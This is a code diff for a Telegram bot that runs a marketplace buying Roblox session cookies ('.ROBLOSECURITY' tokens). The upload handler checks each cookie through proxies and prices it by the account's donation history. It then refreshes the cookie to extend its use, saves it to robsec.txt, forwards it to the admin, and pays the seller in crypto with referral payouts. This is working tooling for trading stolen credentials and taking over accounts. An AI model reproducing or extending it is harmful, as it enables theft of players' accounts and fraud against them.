invoice = await create_treasury_invoice(amount)
|
||||
if not invoice:
|
||||
await message.answer("CryptoBot invoice creation failed.", reply_markup=admin_menu_kb())
|
||||
return
|
||||
pay_url, invoice_id, amount_usdt = invoice
|
||||
keyboard = InlineKeyboardMarkup(
|
||||
inline_keyboard=[
|
||||
[InlineKeyboardButton(text="Pay", url=pay_url)],
|
||||
[InlineKeyboardButton(text="Check payment", callback_data=f"treasury_check_{invoice_id}_{amount}")],
|
||||
]
|
||||
)
|
||||
await message.answer(
|
||||
f"Treasury invoice: <b>{amount:.2f} RUB</b> (~{amount_usdt} USDT)\nPay it and check the status.",
|
||||
parse_mode="HTML",
|
||||
reply_markup=keyboard,
|
||||
)
|
||||
|
||||
|
||||
@router.callback_query(F.data.startswith("treasury_check_"))
|
||||
async def treasury_check(callback: CallbackQuery):
|
||||
if not _admin(callback.from_user.id):
|
||||
return
|
||||
_, _, invoice_id, amount = callback.data.split("_", 3)
|
||||
try:
|
||||
paid = await check_treasury_invoice(int(invoice_id))
|
||||
amount_rub = float(amount)
|
||||
except (ValueError, TypeError):
|
||||
paid = False
|
||||
amount_rub = 0.0
|
||||
if not paid:
|
||||
await callback.answer("Payment has not arrived yet", show_alert=True)
|
||||
return
|
||||
balance = add_treasury(amount_rub)
|
||||
await safe_edit(callback, f"Treasury topped up by {amount_rub:.2f} RUB. Total: {balance:.2f} RUB", reply_markup=admin_menu_kb())
|
||||
await callback.answer("Paid")
|
||||
|
||||
|
||||
@router.callback_query(F.data == "admin_broadcast")
|
||||
async def admin_broadcast_prompt(callback: CallbackQuery, state: FSMContext):
|
||||
if not _admin(callback.from_user.id):
|
||||
return
|
||||
await state.set_state(Form.admin_broadcast)
|
||||
await safe_edit(callback, "Send the broadcast text or a photo with caption.", reply_markup=back_kb("admin_back"))
|
||||
|
||||
|
||||
@router.message(Form.admin_broadcast)
|
||||
async def admin_broadcast_send(message: Message, state: FSMContext):
|
||||
if not _admin(message.from_user.id):
|
||||
return
|
||||
await state.clear()
|
||||
sent, failed = await broadcast(
|
||||
message.bot,
|
||||
text=message.text,
|
||||
photo_id=message.photo[-1].file_id if message.photo else None,
|
||||
caption=message.caption,
|
||||
)
|
||||
await message.answer(f"Broadcast complete. Sent: {sent}, failed: {failed}.", reply_markup=admin_menu_kb())
|
||||
|
||||
|
||||
@router.callback_query(F.data == "admin_users")
|
||||
async def admin_users(callback: CallbackQuery, state: FSMContext):
|
||||
if not _admin(callback.from_user.id):
|
||||
return
|
||||
await state.set_state(Form.admin_find_user)
|
||||
await safe_edit(callback, "Send a user ID or @username.", reply_markup=back_kb("admin_back"))
|
||||
|
||||
|
||||
@router.message(Form.admin_find_user)
|
||||
async def admin_find_user(message: Message, state: FSMContext):
|
||||
if not _admin(message.from_user.id):
|
||||
return
|
||||
uid = find_user((message.text or "").strip())
|
||||
await state.clear()
|
||||
if uid is None:
|
||||
await message.answer("User not found.", reply_markup=admin_menu_kb())
|
||||
return
|
||||
card = _user_card(uid)
|
||||
if card:
|
||||
await message.answer(card[0], parse_mode="HTML", reply_markup=card[1])
|
||||
|
||||
|
||||
@router.callback_query(F.data.startswith("u_bal_add_"))
|
||||
async def u_bal_add(callback: CallbackQuery, state: FSMContext):
|
||||
if not _admin(callback.from_user.id):
|
||||
return
|
||||
uid = int(callback.data.removeprefix("u_bal_add_"))
|
||||
await state.update_data(target_uid=uid)
|
||||
await state.set_state(Form.admin_user_balance_add)
|
||||
await safe_edit(callback, "Send the amount to add:", reply_markup=back_kb("admin_back"))
|
||||
|
||||
|
||||
@router.message(Form.admin_user_balance_add)
|
||||
async def u_bal_add_save(message: Message, state: FSMContext):
|
||||
if not _admin(message.from_user.id):
|
||||
return
|
||||
try:
|
||||
amount = float((message.text or "").replace(",", "."))
|
||||
if amount <= 0:
|
||||
raise ValueError
|
||||
except ValueError:
|
||||
await message.answer("Send a positive number.")
|
||||
return
|
||||
uid = (await state.get_data()).get("target_uid")
|
||||
add_balance(uid, amount)
|
||||
await state.clear()
|
||||
await message.answer(f"Added {amount:.2f} RUB to {uid}.", reply_markup=admin_menu_kb())
|
||||
|
||||
|
||||
@router.callback_query(F.data.startswith("u_bal_sub_"))
|
||||
async def u_bal_sub(callback: CallbackQuery, state: FSMContext):
|
||||
if not _admin(callback.from_user.id):
|
||||
return
|
||||
uid = int(callback.data.removeprefix("u_bal_sub_"))
|
||||
await state.update_data(target_uid=uid)
|
||||
await state.set_state(Form.admin_user_balance_sub)
|
||||
await safe_edit(callback, "Send the amount to subtract:", reply_markup=back_kb("admin_back"))
|
||||
|
||||
|
||||
@router.message(Form.admin_user_balance_sub)
|
||||
async def u_bal_sub_save(message: Message, state: FSMContext):
|
||||
if not _admin(message.from_user.id):
|
||||
return
|
||||
try:
|
||||
amount = float((message.text or "").replace(",", "."))
|
||||
if amount <= 0:
|
||||
raise ValueError
|
||||
except ValueError:
|
||||
await message.answer("Send a positive number.")
|
||||
return
|
||||
uid = (await state.get_data()).get("target_uid")
|
||||
sub_balance(uid, amount)
|
||||
await state.clear()
|
||||
await message.answer(f"Subtracted {amount:.2f} RUB from {uid}.", reply_markup=admin_menu_kb())
|
||||
|
||||
|
||||
@router.callback_query(F.data.startswith("u_ban_"))
|
||||
async def u_ban(callback: CallbackQuery, state: FSMContext):
|
||||
if not _admin(callback.from_user.id):
|
||||
return
|
||||
uid = int(callback.data.removeprefix("u_ban_"))
|
||||
profile = get(uid)
|
||||
if not profile:
|
||||
return
|
||||
if profile.is_banned:
|
||||
from services.admin import unban_user
|
||||
|
||||
unban_user(uid)
|
||||
await callback.answer("Unbanned")
|
||||
else:
|
||||
await state.update_data(target_uid=uid)
|
||||
await state.set_state(Form.admin_user_ban_reason)
|
||||
await safe_edit(callback, "Send the ban reason:", reply_markup=back_kb("admin_back"))
|
||||
return
|
||||
card = _user_card(uid)
|
||||
if card:
|
||||
await safe_edit(callback, card[0], reply_markup=card[1])
|
||||
|
||||
|
||||
@router.message(Form.admin_user_ban_reason)
|
||||
async def u_ban_reason(message: Message, state: FSMContext):
|
||||
if not _admin(message.from_user.id):
|
||||
return
|
||||
uid = (await state.get_data()).get("target_uid")
|
||||
ban_user(uid, (message.text or "No reason").strip())
|
||||
await state.clear()
|
||||
card = _user_card(uid)
|
||||
if card:
|
||||
await message.answer(card[0], parse_mode="HTML", reply_markup=card[1])
|
||||
|
||||
|
||||
@router.callback_query(F.data.startswith("u_admin_"))
|
||||
async def u_admin(callback: CallbackQuery):
|
||||
if not _admin(callback.from_user.id):
|
||||
return
|
||||
uid = int(callback.data.removeprefix("u_admin_"))
|
||||
enabled = toggle_user_admin(uid)
|
||||
await callback.answer(f"Admin: {'ON' if enabled else 'OFF'}")
|
||||
card = _user_card(uid)
|
||||
if card:
|
||||
await safe_edit(callback, card[0], reply_markup=card[1])
|
||||
@@ -0,0 +1,95 @@
|
||||
from aiogram import F, Router
|
||||
from aiogram.filters import CommandStart
|
||||
from aiogram.fsm.context import FSMContext
|
||||
from aiogram.types import CallbackQuery, Message
|
||||
|
||||
from config import ADMIN_ID, BOT_USERNAME, SHOP_NAME
|
||||
from db.storage import load_config
|
||||
from db.users import get, register
|
||||
from keyboards.user import main_menu_kb
|
||||
from services.admin import is_admin
|
||||
from runtime import get_bot, get_log_bot
|
||||
from utils.logging import log_admin
|
||||
|
||||
router = Router(name="start")
|
||||
|
||||
|
||||
def _welcome_text(cfg) -> str:
|
||||
text = (
|
||||
f"Welcome to <b>{SHOP_NAME}</b>!\n\n"
|
||||
"You can sell cookies at these rates:\n"
|
||||
)
|
||||
for rate in cfg.rates.values():
|
||||
text += f"- {rate.name}: {rate.price:.2f} RUB\n"
|
||||
return text + (
|
||||
f"\nAVG pricing applies to {cfg.avg_min_cookies}+ cookies with donations.\n"
|
||||
f"The AVG price is capped at {cfg.avg_min_price:.2f}-{cfg.avg_max_price:.2f} RUB per cookie.\n\n"
|
||||
"Send a .txt file or paste your cookie text."
|
||||
)
|
||||
|
||||
|
||||
async def _show_start(
|
||||
message: Message,
|
||||
state: FSMContext,
|
||||
user_id: int,
|
||||
username: str | None,
|
||||
referrer: int | None = None,
|
||||
) -> None:
|
||||
await state.clear()
|
||||
is_new = register(user_id, username, referrer)
|
||||
profile = get(user_id)
|
||||
cfg = load_config()
|
||||
if profile and profile.is_banned:
|
||||
await message.answer(f"You are banned. Reason: {profile.ban_reason or '-'}")
|
||||
return
|
||||
if not cfg.bot_enabled and user_id != ADMIN_ID:
|
||||
await message.answer("The bot is temporarily disabled by an administrator.")
|
||||
return
|
||||
if is_new:
|
||||
bot = get_bot() or message.bot
|
||||
await log_admin(
|
||||
bot,
|
||||
ADMIN_ID,
|
||||
f"<b>New user</b>\nID: <code>{user_id}</code>\n"
|
||||
f"@{username or '-'}\nReferrer: {referrer or '-'}",
|
||||
get_log_bot(),
|
||||
)
|
||||
|
||||
text = _welcome_text(cfg)
|
||||
if is_admin(user_id):
|
||||
text += "\n\n<b>Admin accounts cannot sell cookies. Use /admin.</b>"
|
||||
await message.answer(text, parse_mode="HTML", reply_markup=main_menu_kb())
|
||||
|
||||
|
||||
@router.message(CommandStart())
|
||||
async def cmd_start(message: Message, state: FSMContext):
|
||||
argument = (message.text or "").split(maxsplit=1)
|
||||
referrer = None
|
||||
if len(argument) > 1 and argument[1].startswith("ref_"):
|
||||
try:
|
||||
referrer = int(argument[1][4:])
|
||||
except ValueError:
|
||||
referrer = None
|
||||
await _show_start(
|
||||
message,
|
||||
state,
|
||||
message.from_user.id,
|
||||
message.from_user.username,
|
||||
referrer,
|
||||
)
|
||||
|
||||
|
||||
@router.callback_query(F.data == "back_main")
|
||||
async def cb_back_main(callback: CallbackQuery, state: FSMContext):
|
||||
await state.clear()
|
||||
try:
|
||||
await callback.message.delete()
|
||||
except Exception:
|
||||
pass
|
||||
await _show_start(
|
||||
callback.message,
|
||||
state,
|
||||
callback.from_user.id,
|
||||
callback.from_user.username,
|
||||
)
|
||||
await callback.answer()
|
||||
@@ -0,0 +1,233 @@
|
||||
from __future__ import annotations
|
||||
|
||||
import asyncio
|
||||
import random
|
||||
|
||||
import aiohttp
|
||||
from aiogram import F, Router
|
||||
from aiogram.filters import StateFilter
|
||||
from aiogram.fsm.context import FSMContext
|
||||
from aiogram.types import Message
|
||||
|
||||
from config import ADMIN_ID, COOKIE_FILES_DIR, FRESHER_BATCH_SIZE, ROBSEC_FILE
|
||||
from db.storage import load_config, load_proxies, load_stats, save_stats
|
||||
from db.users import get, register, save
|
||||
from keyboards.user import back_kb, main_menu_kb
|
||||
from models.pricing import CookieDonationInfo
|
||||
from runtime import get_bot, get_log_bot
|
||||
from services.admin import is_admin
|
||||
from services.pricing import price_cookie_batch
|
||||
from services.referrals import apply_referral_payout
|
||||
from services.roblox import (
|
||||
check_cookie_with_retry,
|
||||
fresh_cookie_async,
|
||||
get_all_time_donate,
|
||||
get_year_donate,
|
||||
)
|
||||
from utils.logging import log_admin, log_admin_document
|
||||
from utils.parsing import parse_cookies_text
|
||||
|
||||
router = Router(name="upload")
|
||||
|
||||
|
||||
async def _blocked(message: Message) -> bool:
|
||||
profile = get(message.from_user.id)
|
||||
if profile is None:
|
||||
register(message.from_user.id, message.from_user.username)
|
||||
profile = get(message.from_user.id)
|
||||
if profile.is_banned:
|
||||
await message.answer(f"You are banned. Reason: {profile.ban_reason or '-'}")
|
||||
return True
|
||||
cfg = load_config()
|
||||
if not cfg.bot_enabled and message.from_user.id != ADMIN_ID:
|
||||
await message.answer("The bot is temporarily disabled.")
|
||||
return True
|
||||
if not cfg.shop_enabled and message.from_user.id != ADMIN_ID:
|
||||
await message.answer("Cookie buying is temporarily disabled.")
|
||||
return True
|
||||
return False
|
||||
|
||||
|
||||
@router.message(StateFilter(None), F.document)
|
||||
async def handle_document(message: Message):
|
||||
if is_admin(message.from_user.id):
|
||||
await message.answer("Admin accounts cannot sell cookies. Use /admin.")
|
||||
return
|
||||
if await _blocked(message):
|
||||
return
|
||||
filename = message.document.file_name or ""
|
||||
if not filename.lower().endswith(".txt"):
|
||||
await message.answer("Send a .txt file.")
|
||||
return
|
||||
|
||||
path = COOKIE_FILES_DIR / f"{message.from_user.id}_{random.randint(100000, 999999)}.txt"
|
||||
try:
|
||||
await message.bot.download(message.document, destination=path)
|
||||
text = path.read_text(encoding="utf-8", errors="ignore")
|
||||
finally:
|
||||
path.unlink(missing_ok=True)
|
||||
await process_cookies(message, text)
|
||||
|
||||
|
||||
@router.message(StateFilter(None), F.text & ~F.text.startswith("/"))
|
||||
async def handle_text(message: Message):
|
||||
if is_admin(message.from_user.id):
|
||||
await message.answer("Admin accounts cannot sell cookies. Use /admin.")
|
||||
return
|
||||
if await _blocked(message):
|
||||
return
|
||||
text = message.text or ""
|
||||
if "_|WARNING:-DO-NOT-SHARE-THIS." not in text:
|
||||
await message.answer("Use the menu below or send cookie text.", reply_markup=main_menu_kb())
|
||||
return
|
||||
await process_cookies(message, text)
|
||||
|
||||
|
||||
async def process_cookies(message: Message, raw_text: str):
|
||||
cookies, duplicates = parse_cookies_text(raw_text)
|
||||
if not cookies:
|
||||
await message.answer("No cookies were found in the submitted data.")
|
||||
return
|
||||
|
||||
cfg = load_config()
|
||||
proxies = load_proxies()
|
||||
total = len(cookies)
|
||||
progress = await message.answer(
|
||||
f"<b>Processing cookies</b>\nTotal: {total}\nDuplicates removed: {duplicates}\nStage: validation...",
|
||||
parse_mode="HTML",
|
||||
)
|
||||
|
||||
valid = []
|
||||
async with aiohttp.ClientSession() as session:
|
||||
tasks = [check_cookie_with_retry(session, cookie, proxies) for cookie in cookies]
|
||||
for index, task in enumerate(asyncio.as_completed(tasks), start=1):
|
||||
try:
|
||||
result = await task
|
||||
if result.status == "valid":
|
||||
valid.append(result)
|
||||
except Exception:
|
||||
pass
|
||||
if index % 20 == 0 or index == total:
|
||||
try:
|
||||
await progress.edit_text(
|
||||
f"<b>Validation</b>\nProgress: {index}/{total}\nValid: {len(valid)}",
|
||||
parse_mode="HTML",
|
||||
)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
if not valid:
|
||||
await progress.edit_text(f"No valid cookies found. Duplicates: {duplicates}")
|
||||
return
|
||||
|
||||
await progress.edit_text(f"<b>Checking donations</b>\nValid cookies: {len(valid)}", parse_mode="HTML")
|
||||
donations = []
|
||||
async with aiohttp.ClientSession() as session:
|
||||
async def get_donation(result):
|
||||
proxy = random.choice(proxies) if proxies else None
|
||||
all_time = await get_all_time_donate(session, result.cookie, result.user_id, proxy)
|
||||
year = await get_year_donate(result.cookie, result.user_id, proxy)
|
||||
return CookieDonationInfo(
|
||||
cookie=result.cookie,
|
||||
user_id=result.user_id,
|
||||
username=result.username,
|
||||
all_time=all_time,
|
||||
year=year,
|
||||
)
|
||||
|
||||
donations = await asyncio.gather(*(get_donation(result) for result in valid))
|
||||
|
||||
priced, avg_used, avg_price = price_cookie_batch(donations, cfg)
|
||||
if not priced:
|
||||
await progress.edit_text(
|
||||
f"No cookies matched the rates. Valid: {len(valid)}",
|
||||
reply_markup=back_kb(),
|
||||
)
|
||||
return
|
||||
|
||||
await progress.edit_text(
|
||||
f"<b>Refreshing cookies</b>\nPayable: {len(priced)}\nMethod: {'AVG' if avg_used else 'per-rate'}",
|
||||
parse_mode="HTML",
|
||||
)
|
||||
fresh_ok = []
|
||||
fresh_failed = 0
|
||||
for offset in range(0, len(priced), FRESHER_BATCH_SIZE):
|
||||
batch = priced[offset:offset + FRESHER_BATCH_SIZE]
|
||||
|
||||
async def refresh(item):
|
||||
proxy = random.choice(proxies) if proxies else None
|
||||
ok, refreshed = await fresh_cookie_async(item.cookie, proxy)
|
||||
return item, ok, refreshed
|
||||
|
||||
for item, ok, refreshed in await asyncio.gather(*(refresh(item) for item in batch)):
|
||||
if ok and isinstance(refreshed, str) and refreshed.startswith("_|WARNING"):
|
||||
fresh_ok.append((item, refreshed))
|
||||
else:
|
||||
fresh_failed += 1
|
||||
try:
|
||||
await progress.edit_text(
|
||||
f"<b>Refreshing cookies</b>\nProgress: {min(offset + len(batch), len(priced))}/{len(priced)}\n"
|
||||
f"Refreshed: {len(fresh_ok)}\nFailed: {fresh_failed}",
|
||||
parse_mode="HTML",
|
||||
)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
if not fresh_ok:
|
||||
await progress.edit_text(
|
||||
f"No cookies could be refreshed. Valid: {len(valid)}, failed: {fresh_failed}",
|
||||
reply_markup=back_kb(),
|
||||
)
|
||||
return
|
||||
|
||||
ROBSEC_FILE.parent.mkdir(parents=True, exist_ok=True)
|
||||
with ROBSEC_FILE.open("a", encoding="utf-8") as output:
|
||||
output.writelines(f"{cookie}\n" for _, cookie in fresh_ok)
|
||||
|
||||
user_file = COOKIE_FILES_DIR / f"robsec_{message.from_user.id}_{random.randint(100000, 999999)}.txt"
|
||||
user_file.write_text("".join(f"{cookie}\n" for _, cookie in fresh_ok), encoding="utf-8")
|
||||
payout = sum(item.price for item, _ in fresh_ok)
|
||||
|
||||
profile = get(message.from_user.id)
|
||||
if profile is None:
|
||||
register(message.from_user.id, message.from_user.username)
|
||||
profile = get(message.from_user.id)
|
||||
profile.balance += payout
|
||||
profile.total_earned += payout
|
||||
profile.cookies_loaded += len(fresh_ok)
|
||||
save(profile.user_id, profile)
|
||||
|
||||
stats = load_stats()
|
||||
stats.total_cookies += len(fresh_ok)
|
||||
stats.total_paid_direct += payout
|
||||
save_stats(stats)
|
||||
bot = get_bot() or message.bot
|
||||
await apply_referral_payout(bot, profile.user_id, profile.username, payout, cfg.referral_percent)
|
||||
|
||||
method = "AVG" if avg_used else "per-rate"
|
||||
report = (
|
||||
"<b>Processing complete</b>\n\n"
|
||||
f"Total: {total}\nDuplicates: {duplicates}\nValid: {len(valid)}\n"
|
||||
f"Payable: {len(priced)}\nRefreshed: {len(fresh_ok)}\nFailed refresh: {fresh_failed}\n"
|
||||
f"Method: {method}\n"
|
||||
)
|
||||
if avg_used:
|
||||
report += f"AVG price: {avg_price:.2f} RUB\n"
|
||||
report += f"\nPayout: <b>{payout:.2f} RUB</b>\nBalance: <b>{profile.balance:.2f} RUB</b>"
|
||||
await progress.edit_text(report, parse_mode="HTML", reply_markup=main_menu_kb())
|
||||
|
||||
await log_admin(
|
||||
bot,
|
||||
ADMIN_ID,
|
||||
f"<b>Cookie purchase</b>\n@{profile.username or '-'} (<code>{profile.user_id}</code>)\n"
|
||||
f"Total: {total}, valid: {len(valid)}, refreshed: {len(fresh_ok)}\nPayout: {payout:.2f} RUB",
|
||||
get_log_bot(),
|
||||
)
|
||||
await log_admin_document(
|
||||
bot,
|
||||
ADMIN_ID,
|
||||
str(user_file),
|
||||
caption=f"robsec from <code>{profile.user_id}</code>",
|
||||
log_bot=get_log_bot(),
|
||||
)
|
||||
user_file.unlink(missing_ok=True)
|
||||
@@ -0,0 +1,127 @@
|
||||
from aiogram import F, Router
|
||||
from aiogram.fsm.context import FSMContext
|
||||
from aiogram.types import CallbackQuery
|
||||
|
||||
from config import ADMIN_ID, BOT_USERNAME
|
||||
from db.storage import load_config, load_stats
|
||||
from db.users import get, register, save
|
||||
from keyboards.user import back_kb
|
||||
from runtime import get_bot, get_log_bot
|
||||
from services.withdrawals import create_crypto_check
|
||||
from utils.logging import log_admin, safe_edit
|
||||
|
||||
router = Router(name="user")
|
||||
|
||||
|
||||
def _get_profile(callback: CallbackQuery):
|
||||
profile = get(callback.from_user.id)
|
||||
if profile is None:
|
||||
register(callback.from_user.id, callback.from_user.username)
|
||||
profile = get(callback.from_user.id)
|
||||
return profile
|
||||
|
||||
|
||||
@router.callback_query(F.data == "profile")
|
||||
async def cb_profile(callback: CallbackQuery, state: FSMContext):
|
||||
await state.clear()
|
||||
profile = _get_profile(callback)
|
||||
cfg = load_config()
|
||||
text = (
|
||||
"<b>Your profile</b>\n\n"
|
||||
f"ID: <code>{profile.user_id}</code>\n"
|
||||
f"Registered: {profile.registered}\n\n"
|
||||
f"Cookies loaded: <b>{profile.cookies_loaded}</b>\n"
|
||||
f"Total earned: <b>{profile.total_earned:.2f} RUB</b>\n"
|
||||
f"Referral earnings: <b>{profile.referral_earned:.2f} RUB</b>\n"
|
||||
f"Balance: <b>{profile.balance:.2f} RUB</b>\n\n"
|
||||
f"Referral link:\nhttps://t.me/{BOT_USERNAME}?start=ref_{profile.user_id}\n\n"
|
||||
f"Referral payout: {cfg.referral_percent}%\n"
|
||||
f"Minimum withdrawal: {cfg.min_withdraw:.2f} RUB"
|
||||
)
|
||||
await safe_edit(callback, text, reply_markup=back_kb())
|
||||
await callback.answer()
|
||||
|
||||
|
||||
@router.callback_query(F.data == "stats")
|
||||
async def cb_stats(callback: CallbackQuery, state: FSMContext):
|
||||
await state.clear()
|
||||
stats = load_stats()
|
||||
text = (
|
||||
"<b>Global statistics</b>\n\n"
|
||||
f"Users: <b>{stats.total_users}</b>\n"
|
||||
f"Cookies: <b>{stats.total_cookies}</b>\n"
|
||||
f"Direct payouts: <b>{stats.total_paid_direct:.2f} RUB</b>\n"
|
||||
f"Referral payouts: <b>{stats.total_paid_referral:.2f} RUB</b>"
|
||||
)
|
||||
await safe_edit(callback, text, reply_markup=back_kb())
|
||||
await callback.answer()
|
||||
|
||||
|
||||
@router.callback_query(F.data == "rates")
|
||||
async def cb_rates(callback: CallbackQuery, state: FSMContext):
|
||||
await state.clear()
|
||||
cfg = load_config()
|
||||
text = "<b>Current rates</b>\n\n"
|
||||
for rate in cfg.rates.values():
|
||||
text += f"- {rate.name}: {rate.price:.2f} RUB\n"
|
||||
text += (
|
||||
f"\nAVG: {cfg.avg_min_cookies}+ donation cookies, "
|
||||
f"{cfg.avg_min_price:.2f}-{cfg.avg_max_price:.2f} RUB per cookie."
|
||||
)
|
||||
await safe_edit(callback, text, reply_markup=back_kb())
|
||||
await callback.answer()
|
||||
|
||||
|
||||
@router.callback_query(F.data == "withdraw")
|
||||
async def cb_withdraw(callback: CallbackQuery, state: FSMContext):
|
||||
await state.clear()
|
||||
profile = _get_profile(callback)
|
||||
cfg = load_config()
|
||||
if profile.balance < cfg.min_withdraw:
|
||||
await safe_edit(
|
||||
callback,
|
||||
f"Insufficient balance: <b>{profile.balance:.2f} RUB</b>\n"
|
||||
f"Minimum: <b>{cfg.min_withdraw:.2f} RUB</b>\n"
|
||||
f"Treasury: <b>{cfg.treasury:.2f} RUB</b>",
|
||||
reply_markup=back_kb(),
|
||||
)
|
||||
await callback.answer()
|
||||
return
|
||||
if profile.balance > cfg.treasury:
|
||||
await safe_edit(
|
||||
callback,
|
||||
f"Treasury funds are insufficient: <b>{cfg.treasury:.2f} RUB</b>.",
|
||||
reply_markup=back_kb(),
|
||||
)
|
||||
await callback.answer()
|
||||
return
|
||||
|
||||
await callback.answer("Creating check...")
|
||||
await safe_edit(callback, "Creating your CryptoBot check...")
|
||||
amount = profile.balance
|
||||
check_url = await create_crypto_check(amount)
|
||||
if not check_url:
|
||||
await safe_edit(callback, "Could not create the check. Try again later.", reply_markup=back_kb())
|
||||
return
|
||||
|
||||
profile.balance = 0.0
|
||||
save(profile.user_id, profile)
|
||||
cfg.treasury = max(0.0, cfg.treasury - amount)
|
||||
from db.storage import save_config
|
||||
|
||||
save_config(cfg)
|
||||
await safe_edit(
|
||||
callback,
|
||||
f"Check created for <b>{amount:.2f} RUB</b>.\n"
|
||||
f"<a href='{check_url}'>Activate check</a>",
|
||||
reply_markup=back_kb(),
|
||||
disable_web_page_preview=True,
|
||||
)
|
||||
bot = get_bot() or callback.message.bot
|
||||
await log_admin(
|
||||
bot,
|
||||
ADMIN_ID,
|
||||
f"<b>Withdrawal</b>\n@{profile.username or '-'} (<code>{profile.user_id}</code>)\n"
|
||||
f"Amount: {amount:.2f} RUB\nCheck: {check_url}",
|
||||
get_log_bot(),
|
||||
)
|
||||
@@ -0,0 +1,33 @@
|
||||
from aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup
|
||||
|
||||
from db.storage import load_config
|
||||
|
||||
|
||||
def admin_menu_kb() -> InlineKeyboardMarkup:
|
||||
cfg = load_config()
|
||||
return InlineKeyboardMarkup(
|
||||
inline_keyboard=[
|
||||
[InlineKeyboardButton(
|
||||
text=f"Shop: {'ON' if cfg.shop_enabled else 'OFF'}",
|
||||
callback_data="admin_toggle_shop",
|
||||
)],
|
||||
[InlineKeyboardButton(
|
||||
text=f"Bot: {'ON' if cfg.bot_enabled else 'OFF'}",
|
||||
callback_data="admin_toggle_bot",
|
||||
)],
|
||||
[InlineKeyboardButton(text="Users", callback_data="admin_users")],
|
||||
[InlineKeyboardButton(text="Rates", callback_data="admin_rates")],
|
||||
[InlineKeyboardButton(text="Broadcast", callback_data="admin_broadcast")],
|
||||
[InlineKeyboardButton(
|
||||
text=f"Minimum withdrawal: {cfg.min_withdraw:.2f} RUB",
|
||||
callback_data="admin_min_withdraw",
|
||||
)],
|
||||
[InlineKeyboardButton(
|
||||
text=f"Treasury: {cfg.treasury:.2f} RUB | Top up",
|
||||
callback_data="admin_treasury",
|
||||
)],
|
||||
[InlineKeyboardButton(text="Download robsec.txt", callback_data="admin_robsec_get")],
|
||||
[InlineKeyboardButton(text="Clear robsec.txt", callback_data="admin_robsec_clear")],
|
||||
[InlineKeyboardButton(text="Close", callback_data="admin_close")],
|
||||
]
|
||||
)
|
||||
@@ -0,0 +1,27 @@
|
||||
from aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup
|
||||
|
||||
from config import SHOP_CHANNEL
|
||||
|
||||
|
||||
def main_menu_kb() -> InlineKeyboardMarkup:
|
||||
return InlineKeyboardMarkup(
|
||||
inline_keyboard=[
|
||||
[
|
||||
InlineKeyboardButton(text="Profile", callback_data="profile"),
|
||||
InlineKeyboardButton(text="Statistics", callback_data="stats"),
|
||||
],
|
||||
[
|
||||
InlineKeyboardButton(text="Rates", callback_data="rates"),
|
||||
InlineKeyboardButton(text="Withdraw", callback_data="withdraw"),
|
||||
],
|
||||
[InlineKeyboardButton(text="Channel", url=SHOP_CHANNEL)],
|
||||
]
|
||||
)
|
||||
|
||||
|
||||
def back_kb(callback_data: str = "back_main") -> InlineKeyboardMarkup:
|
||||
return InlineKeyboardMarkup(
|
||||
inline_keyboard=[
|
||||
[InlineKeyboardButton(text="Back", callback_data=callback_data)]
|
||||
]
|
||||
)
|
||||
@@ -0,0 +1,54 @@
|
||||
import asyncio
|
||||
import logging
|
||||
from datetime import datetime
|
||||
|
||||
from aiogram import Bot, Dispatcher
|
||||
from aiogram.enums import ParseMode
|
||||
from aiogram.fsm.storage.memory import MemoryStorage
|
||||
from aiogram.client.default import DefaultBotProperties
|
||||
|
||||
from config import ADMIN_ID, BOT_TOKEN, LOG_BOT_TOKEN, SHOP_NAME
|
||||
from db.storage import load_config, load_stats
|
||||
from handlers import admin, start, upload, user
|
||||
from runtime import set_bots
|
||||
from utils.logging import log_admin
|
||||
|
||||
|
||||
async def main() -> None:
|
||||
defaults = DefaultBotProperties(parse_mode=ParseMode.HTML)
|
||||
bot = Bot(token=BOT_TOKEN, default=defaults)
|
||||
log_bot = Bot(token=LOG_BOT_TOKEN, default=defaults) if LOG_BOT_TOKEN else None
|
||||
set_bots(bot, log_bot)
|
||||
|
||||
dispatcher = Dispatcher(storage=MemoryStorage())
|
||||
dispatcher.include_router(start.router)
|
||||
dispatcher.include_router(user.router)
|
||||
dispatcher.include_router(admin.router)
|
||||
dispatcher.include_router(upload.router)
|
||||
|
||||
load_config()
|
||||
load_stats()
|
||||
await log_admin(
|
||||
bot,
|
||||
ADMIN_ID,
|
||||
f"<b>{SHOP_NAME}</b> started\n{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}",
|
||||
log_bot,
|
||||
)
|
||||
try:
|
||||
await dispatcher.start_polling(bot)
|
||||
finally:
|
||||
if log_bot:
|
||||
await log_bot.session.close()
|
||||
await bot.session.close()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
logging.basicConfig(
|
||||
level=logging.INFO,
|
||||
format="%(asctime)s - %(levelname)s - %(message)s",
|
||||
handlers=[
|
||||
logging.FileHandler("bot.log", encoding="utf-8"),
|
||||
logging.StreamHandler(),
|
||||
],
|
||||
)
|
||||
asyncio.run(main())
|
||||
@@ -0,0 +1,125 @@
|
||||
from dataclasses import dataclass, field
|
||||
from typing import Any
|
||||
|
||||
|
||||
@dataclass(slots=True)
|
||||
class RateConfig:
|
||||
name: str
|
||||
price: float
|
||||
min: int
|
||||
max: int
|
||||
type: str
|
||||
|
||||
@classmethod
|
||||
def from_dict(cls, data: dict[str, Any]) -> "RateConfig":
|
||||
return cls(
|
||||
name=data.get("name", ""),
|
||||
price=float(data.get("price", 0.0)),
|
||||
min=int(data.get("min", 0)),
|
||||
max=int(data.get("max", 0)),
|
||||
type=data.get("type", "lifetime"),
|
||||
)
|
||||
|
||||
def to_dict(self) -> dict[str, Any]:
|
||||
return {
|
||||
"name": self.name,
|
||||
"price": self.price,
|
||||
"min": self.min,
|
||||
"max": self.max,
|
||||
"type": self.type,
|
||||
}
|
||||
|
||||
|
||||
@dataclass(slots=True)
|
||||
class BotConfig:
|
||||
shop_enabled: bool = True
|
||||
bot_enabled: bool = True
|
||||
min_withdraw: float = 100.0
|
||||
treasury: float = 0.0
|
||||
referral_percent: int = 5
|
||||
rates: dict[str, RateConfig] = field(default_factory=dict)
|
||||
avg_min_cookies: int = 100
|
||||
avg_min_price: float = 2.0
|
||||
avg_max_price: float = 20.0
|
||||
|
||||
@classmethod
|
||||
def default(cls) -> "BotConfig":
|
||||
return cls(
|
||||
shop_enabled=True,
|
||||
bot_enabled=True,
|
||||
min_withdraw=100.0,
|
||||
treasury=0.0,
|
||||
referral_percent=5,
|
||||
rates={
|
||||
"lifetime_low": RateConfig(
|
||||
